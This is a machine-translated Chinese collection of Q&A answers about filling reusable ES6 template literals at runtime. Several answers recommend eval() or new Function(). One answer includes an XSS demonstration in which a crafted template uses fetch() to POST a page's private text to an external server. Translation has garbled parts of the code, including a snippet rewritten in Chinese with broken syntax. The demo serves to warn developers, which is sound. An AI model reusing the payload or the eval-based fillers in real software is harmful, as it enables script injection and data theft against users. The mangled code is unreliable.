如果你不想使用有序参数或上下文/命名空间来引用模板中的变量，例如${0}，${this. xml。Something}，或者${data。Something}，你可以有一个模板函数来为你处理范围。

如何调用这样一个模板的例子:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

模板函数:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

在这种情况下，你只需要传递一个返回ES6模板文字的函数(在这个例子中，我使用了一个箭头函数)。我认为要得到我们所追求的那种可重用的插值，这是一个小小的权衡。

这里是GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

2019答:

注意:标准库最初希望用户清理字符串以避免XSS。库的版本2不再要求净化用户字符串(web开发人员无论如何都应该这样做)，因为它完全避免了eval。

npm上的es6-dynamic-template模块可以做到这一点。

const fillTemplate = require('es6-dynamic-template');

与目前的答案不同:

它使用ES6模板字符串，而不是类似的格式。更新版本2使用类似的格式，而不是ES6模板字符串，以防止用户使用未经消毒的输入字符串。 模板字符串中不需要这个 可以在单个函数中指定模板字符串和变量 它是一个维护的，可更新的模块，而不是从StackOverflow复制

使用方法很简单。使用单引号作为模板字符串将在稍后解决!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

一般来说，我反对使用邪恶的eval()，但在这种情况下，它是有意义的:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

然后如果你改变值并再次调用eval()，你会得到新的结果:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

如果你想把它写在一个函数中，那么它可以这样写:

function populate(a, b){
  return `${a}.${b}`;
}

是的，你可以通过解析你的字符串模板作为JS函数(或eval) -但这是不建议的，允许XSS攻击

// unsafe string-template function const fillTemplate = function(templateString, templateVars){ return new Function("return `"+templateString +"`;").call(templateVars); } function parseString() { // Example malicious string which will 'hack' fillTemplate function var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`"; var templateData = {Id:1234, User:22}; var result = fillTemplate(evilTemplate, templateData); console.log(result); alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`); } #mydiv { background: red; margin: 20px} .btn { margin: 20px; padding: 20px; } <pre> CASE: system allow users to use 'templates' and use fillTemplate function to put variables into that templates Then backend save templates in DB and show them to other users... Some bad user/hacker can then prepare malicious template with JS code... and when other logged users "see" that malicious template (e.g. by "Click me!" in this example), then it can read some information from their current page with private content and send it to external server. Or in worst case, that malicious template can send some authorized "action" request to the backend... (like e.g. action which delete some user content or change his name etc.). In case when logged user was Admin then action can be even more devastating (like delete user etc.) </pre> <div id='mydiv'> Private content of some user </div> <div id="msg"></div> <button class="btn" onclick="parseString()">Click me! :)</button>

相反，你可以安全地以如下方式动态地将对象obj字段插入模板str

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

让注入= (str, obj) = > str.replace (/\${(.*?)}/ g (x, g) = > obj [g]); //——test—— //对象中的参数 let t1 = '我的名字是${name}，我是${age}。我哥哥的名字也是${name}.'; let r1 = inject(t1， {name: 'JOHN'，年龄:23}); console.log(“对象:r1); //数组中的参数 let t2 = " ${0}的值在${2}数组中，${1}的值为${0}。" let r2 = inject(t2， ['A,B,C'， 666， 'BIG']); console.log("ARRAY:"， r2);

为了使这些文字像其他模板引擎一样工作，需要一种中间形式。

最好的方法是使用Function构造函数。

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

与其他模板引擎一样，您可以从其他地方(如文件)获取该字符串。

使用此方法可能会出现一些问题(例如，更难添加模板标记)。由于后期的插值，您也不能使用内联JavaScript逻辑。这也可以通过一些思考来补救。

可以使用以下函数动态解析模板，提供新数据。

这使用了javascript的一个不太常见的特性，称为Tagged Template Literal

function template(...args) {
  return (values) =>
    args[0].reduce(
      (acum, current, index) => 
        acum.concat(
          current, values[index] === undefined ? '' : values[index]
        ),
      ''
    )
}

const person = 'Lydia';
const age = 21;

template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?